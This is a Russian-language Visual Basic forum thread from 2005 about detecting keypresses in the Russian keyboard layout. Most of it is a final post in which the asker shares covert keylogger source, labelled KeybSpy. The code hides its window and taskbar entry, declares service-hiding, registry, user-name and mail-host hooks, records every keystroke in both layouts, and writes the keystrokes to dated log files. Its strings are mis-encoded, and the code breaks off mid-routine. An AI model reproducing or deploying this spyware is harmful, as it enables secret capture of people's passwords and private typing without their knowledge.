Как отловить нажатие клавиш в русской раскладке?

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Как отловить нажатие клавиш в русской раскладке?

Сообщение HotKitten » 08.09.2005 (Чт) 21:49

Как отловить нажатие клавиш в русской раскладке, я ловлю через GetAsyncKeyState??? Хелп плизз
Изображение

tyomitch
Пользователь #1352
Пользователь #1352
Аватара пользователя
 
Сообщения: 12822
Зарегистрирован: 20.10.2002 (Вс) 17:02
Откуда: חיפה

Сообщение tyomitch » 08.09.2005 (Чт) 21:57

Одинаковый топик в двух форумах. Требую вынесения сурового, но справедливого приговора.
Изображение

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 08.09.2005 (Чт) 22:03

не судите строго, случайно написал в форуме для новичков :oops: , не думал, что его тоже смотрят, вопрос думаю интересный...
Изображение

Amed
Алфизик
Алфизик
 
Сообщения: 5346
Зарегистрирован: 09.03.2003 (Вс) 9:26

Сообщение Amed » 08.09.2005 (Чт) 22:04

Многоуважаемый, заюзайте поиск.

RayShade, тибидохни! :)

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 08.09.2005 (Чт) 22:08

искал GetAsyncKeyState нашёл только отлов eng раскладки
Изображение

SHURUP
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 440
Зарегистрирован: 15.09.2004 (Ср) 14:24
Откуда: Ирпень, Украина

Сообщение SHURUP » 08.09.2005 (Чт) 23:28

Не могу понять в чем проблемма!!!
Пишешь простенький букварь для клавишь (две строки "йцук..." и "qwer...." ). из него узнаешь английский аналог нужной русской клавиши, а дальше - всё просто.
Нужно узнать состояние клавиши "Ж" - отлавливай нажатие ";". Нужно "О" - отлавливай "J" и так далее..
Нам чужого не надо, но своё мы возьмем, чьё бы оно ни было...

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 09.09.2005 (Пт) 8:41

а как узнать когда "Ж", когда ":", а когда ";"
Изображение

_Мика_
Гуру
Гуру
 
Сообщения: 1459
Зарегистрирован: 24.10.2003 (Пт) 15:05
Откуда: г. Москва, м.Речной вокзал

Сообщение _Мика_ » 09.09.2005 (Пт) 8:47

Сначало определяешь раскладку, а потом как сказал ШУРУП :wink:
-Папа, а правда, что форумы делают людей дибилами?
-гы гы гы, сынок, лол!

vvs_adm
Гуру
Гуру
Аватара пользователя
 
Сообщения: 1492
Зарегистрирован: 03.02.2005 (Чт) 3:45
Откуда: оттуда ;)

Сообщение vvs_adm » 09.09.2005 (Пт) 9:50

GetKeyboardLayout
Никогда не откладывай на завтра то, что можно ... отложить на послезавтра!

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 09.09.2005 (Пт) 12:58

HotKitten писал(а):случайно написал в форуме для новичков

Сложно случайно написать.

HotKitten писал(а):не думал, что его тоже смотрят

Я бы назвал это личным оскорблением.

HotKitten писал(а):вопрос думаю интересный...

Думаешь неправильно.
Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 10.09.2005 (Сб) 15:48

vvs_adm писал(а):GetKeyboardLayout

а можно немного подробнее
Изображение

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 10.09.2005 (Сб) 16:25

Всем большое спасибо, GetKeyboardLayout нашёл через поиск!
:lol:
Изображение

Naked
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 207
Зарегистрирован: 27.10.2004 (Ср) 3:16
Откуда: Дальнегорск столица мира

Сообщение Naked » 12.09.2005 (Пн) 4:25

а вашэ лучше так, без всяких GetKeyboardLayout

Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Dim GetText

Private Function GetKey(ByVal nVirKey As Long)
Dim nKey As Long
Dim keyStateArr(256) As Byte
Dim WORD As Long
If GetAsyncKeyState(nVirKey) = -32767 Then nKey = nVirKey
Call GetKeyboardState(keyStateArr(nKey))
Call ToAscii(nKey, 0, keyStateArr(nKey), WORD, 0)
GetKey = Chr(WORD)
End Function

Private Sub Timer1_Timer() 'интервал выставишь сам
Cls
Form1.Print GetKey(vbKeyA)
Form1.Print GetKey(vbKeyB)
Form1.Print GetKey(vbKeyC)

и далее по алфАвиту
не вздумай писать vbKeyФ и т.д т.п, только английские :)
а вообще в басике есть список виртуальных кодов "vbKeyA..."

End Sub

Kovu
Постоялец
Постоялец
Аватара пользователя
 
Сообщения: 924
Зарегистрирован: 29.04.2005 (Пт) 17:38

Сообщение Kovu » 12.09.2005 (Пн) 9:23

Naked
Нескромный вопрос: ГДЕ ТАМ русские буквы??? :)
Без GetKeyboardLayout всё равно не получится :?
Если всё делать своими ручками, они скоро отвалятся !

Naked
Бывалый
Бывалый
Аватара пользователя
 
Сообщения: 207
Зарегистрирован: 27.10.2004 (Ср) 3:16
Откуда: Дальнегорск столица мира

Сообщение Naked » 12.09.2005 (Пн) 9:25

раскладку переключи

HotKitten
Дятил
Дятил
Аватара пользователя
 
Сообщения: 400
Зарегистрирован: 24.01.2005 (Пн) 21:48
Откуда: из дома

Сообщение HotKitten » 12.09.2005 (Пн) 21:58

всё просто, кому надо - ковыряйте, код из проги
Код: Выделить всё
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H14
Dim keystate As Long
Dim Shift As Long

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String
Dim emailAddress As String
Dim mailHost1 As String
Dim RefArray(1 To 36) As String * 1
Dim nameSerial As String

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long

Private Sub Command1_Click()
frmKeybMonHistory.Show
End Sub

Private Sub Command2_Click()
Me.Hide
End Sub

Private Sub Command3_Click()
If Timer1.Enabled = True Then
  DisableMonitoring
Else
  EnableMonitoring
End If
End Sub

Private Sub Form_Load()
App.TaskVisible = False
Timer1.Enabled = True
Label2 = time$
Label3 = Date$
RealTimeTimer.Enabled = True
frmMain.mnuOtherFunctionsKeybSpy.Checked = True
Me.Hide
End Sub

Friend Sub RunKeybSpy()
RealTimeTimer.Enabled = True
EnableMonitoring
frmMain.mnuOtherFunctionsKeybSpy.Checked = True
End Sub

Private Sub Form_Unload(Cancel As Integer)
DisableMonitoring
End Sub

Friend Sub EnableMonitoring()
  Timer1.Enabled = True
  Text2 = Text2 + vbNewLine + "Êîíòðîëü çà ñèñòåìîé àêòèâèðîâàí â: " + time$ + "  " + Date$ + " ãîäà" + vbNewLine
End Sub

Friend Sub DisableMonitoring()
Timer1.Enabled = False
Text2 = Text2 + vbNewLine + "Êîíòðîëü çà ñèñòåìîé îêîí÷åí â: " + time$ + "    " + Date$ + " ãîäà" + vbNewLine
' çàïèñü â ôàéë
Open App.Path + "\" + "Log" + "\" + Date$ + ".tap" For Append As #1
Print #1, Text2.Text
Close #1

frmMain.mnuOtherFunctionsKeybSpy.Checked = False
End Sub

Private Sub Label5_Click()
Text2 = Delete
End Sub

Private Sub RealTimeTimer_Timer()
Label2 = time$
Label3 = Date$
'''''''''''''''''''''''''''''''''
If Timer1.Enabled = True Then
  Command3.Caption = "Ïðåêðàòèòü"
Else
  Command3.Caption = "Íà÷àòü"
End If
End Sub

Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function

Private Sub Timer1_Timer()
Shift = GetAsyncKeyState(vbKeyShift)
'''''''''''''''''''''''''''''''''''''''''''' K e y B o a r d   À - ß '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, vbNull)) = 68748313 Then
keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ocirc;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ocirc;"
End If
keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Egrave;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&egrave;"
End If
keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ntilde;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ntilde;"
End If
keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Acirc;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&acirc;"
End If
keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Oacute;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&oacute;"
End If
keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Agrave;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&agrave;"
End If
keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Iuml;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&iuml;"
End If
keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ETH;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&eth;"
End If
keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Oslash;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&oslash;"
End If
keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Icirc;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&icirc;"
End If
keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Euml;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&euml;"
End If
keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Auml;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&auml;"
End If
keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Uuml;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&uuml;"
End If
keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ograve;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ograve;"
End If
keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ugrave;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ugrave;"
End If
keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ccedil;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ccedil;"
End If
keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Eacute;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&eacute;"
End If
keystate = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ecirc;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ecirc;"
End If
keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ucirc;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ucirc;"
End If
keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Aring;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&aring;"
End If
keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Atilde;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&atilde;"
End If
keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Igrave;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&igrave;"
End If
keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Ouml;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&ouml;"
End If
keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&times;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&divide;"
End If
keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&Iacute;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&iacute;"
End If
keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&szlig;"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "&yuml;"
End If
Else
'''''''''''''''''''''''''''''''''''''''''''' K e y B o a r d   A - Z '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "a"
End If
keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "b"
End If
keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "c"
End If
keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "d"
End If
keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "e"
End If
keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "f"
End If
keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "g"
End If
keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "h"
End If
keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "i"
End If
keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "j"
End If
keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "k"
End If
keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "l"
End If
keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "m"
End If
keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "n"
End If
keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "o"
End If
keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "p"
End If
keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "q"
End If
keystate = GetAsyncKeyState(vbKeyR)
